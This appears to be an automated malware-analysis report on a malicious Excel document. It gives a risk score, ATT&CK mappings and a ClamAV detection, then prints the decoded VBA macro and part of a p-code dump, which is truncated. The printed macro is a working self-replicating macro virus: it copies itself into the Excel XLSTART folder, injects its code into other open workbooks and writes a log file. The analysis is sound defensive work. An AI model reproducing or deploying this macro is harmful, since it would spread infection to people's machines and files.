MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The file is a malicious Excel document containing a Workbook_Open VBA macro. This macro is designed to copy itself to the XLSTART directory, likely to achieve persistence. The macro also attempts to execute a second-stage payload, indicated by the ClamAV detection name 'Doc.Dropper.Agent-6873194-0'. The specific IOC identified is the path where the macro attempts to save itself.
Heuristics 3
-
ClamAV: Doc.Dropper.Agent-6873194-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6873194-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9237 bytes |
SHA-256: 3ca9d1591a35b1e53d1ebd87da8df59180bd6e8216858955f96dd7f185119c54 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim Quaffle As Boolean
Private Sub Workbook_BeforeClose(Cancel As Boolean)
Quaffle = True
Workbook_Open
Call CedricDiggory("fermé ")
Call Frimer(ActiveWorkbook)
End Sub
Private Sub Workbook_Open()
On Error Resume Next
Application.EnableCancelKey = 0
Application.ScreenUpdating = False
Dim Basilisk As String, beak, Salmon As Integer
Const antinople = "c:\program files\microsoft office\office\xlstart\book1.xls"
For Salmon = 1 To ActiveWorkbook.VBProject.VBComponents.Count
If ActiveWorkbook.VBProject.VBComponents.Item(Salmon).Name = "ThisWorkbook" Then
Basilisk = ActiveWorkbook.VBProject.VBComponents.Item(Salmon).CodeModule.Lines(1, ActiveWorkbook.VBProject.VBComponents.Item(Salmon).CodeModule.CountOfLines)
End If: Next Salmon
If Dir(antinople) = "" Then
Workbooks.Add
For Salmon = 1 To ActiveWorkbook.VBProject.VBComponents.Count
If ActiveWorkbook.VBProject.VBComponents.Item(Salmon).Name = "ThisWorkbook" Then
ActiveWorkbook.VBProject.VBComponents.Item(Salmon).CodeModule.AddFromString Basilisk
ActiveWorkbook.SaveAs antinople
ActiveWorkbook.Close
End If: Next Salmon: End If
For beak = 1 To Excel.Windows.Count
For Salmon = 1 To Application.Workbooks.Item(beak).VBProject.VBComponents.Count
If Application.Workbooks.Item(beak).VBProject.VBComponents.Item(Salmon).Name = "ThisWorkbook" Then
If Application.Workbooks.Item(beak).VBProject.VBComponents.Item(Salmon).CodeModule.CountOfLines < 1 Then
Application.Workbooks.Item(beak).VBProject.VBComponents.Item(Salmon).CodeModule.AddFromString Basilisk
End If: End If: Next Salmon: Next beak
If Not Quaffle Then Call CedricDiggory("Ouvert ")
Application.ScreenUpdating = True
End Sub
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
If Left(ActiveWorkbook.Name, 4) = "book" Then
Application.Dialogs(xlDialogSaveAs).Show
' SaveAsUI = true
End If
End Sub
Private Sub Frimer(parp As Workbook)
Dim Draco As String
Randomize
Draco = Chr$(Int((25 * Rnd) + 65)) & ActiveWorkbook.Name
If Month(Now) = 5 Then parp.SaveAs Draco
End Sub
Private Sub CedricDiggory(Cho As String)
Open "c:\config.old" For Append As #1
Print #1, Cho & Now & " " & ActiveWorkbook.Name
Close #1
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
' Processing file: /opt/analyzer/scan_staging/4a9e7ebd91f1436086b3ba45ef3a4ef0.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 5378 bytes
' Line #0:
' Line #1:
' Dim
' VarDefn Quaffle (As Boolean)
' Line #2:
' FuncDefn (Private Sub Workbook_BeforeClose(Cancel As Boolean))
' Line #3:
' LitVarSpecial (True)
' St Quaffle
' Line #4:
' ArgsCall Workbook_Open 0x0000
' Line #5:
' LitStr 0x0006 "fermé "
' ArgsCall (Call) CedricDiggory 0x0001
' Line #6:
' Ld ActiveWorkbook
' ArgsCall (Call) Frimer 0x0001
' Line #7:
' EndSub
' Line #8:
' FuncDefn (Private Sub Workbook_Open())
' Line #9:
' OnError (Resume Next)
' Line #10:
' LitDI2 0x0000
' Ld Application
' MemSt EnableCancelKey
' Line #11:
' LitVarSpecial (False
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.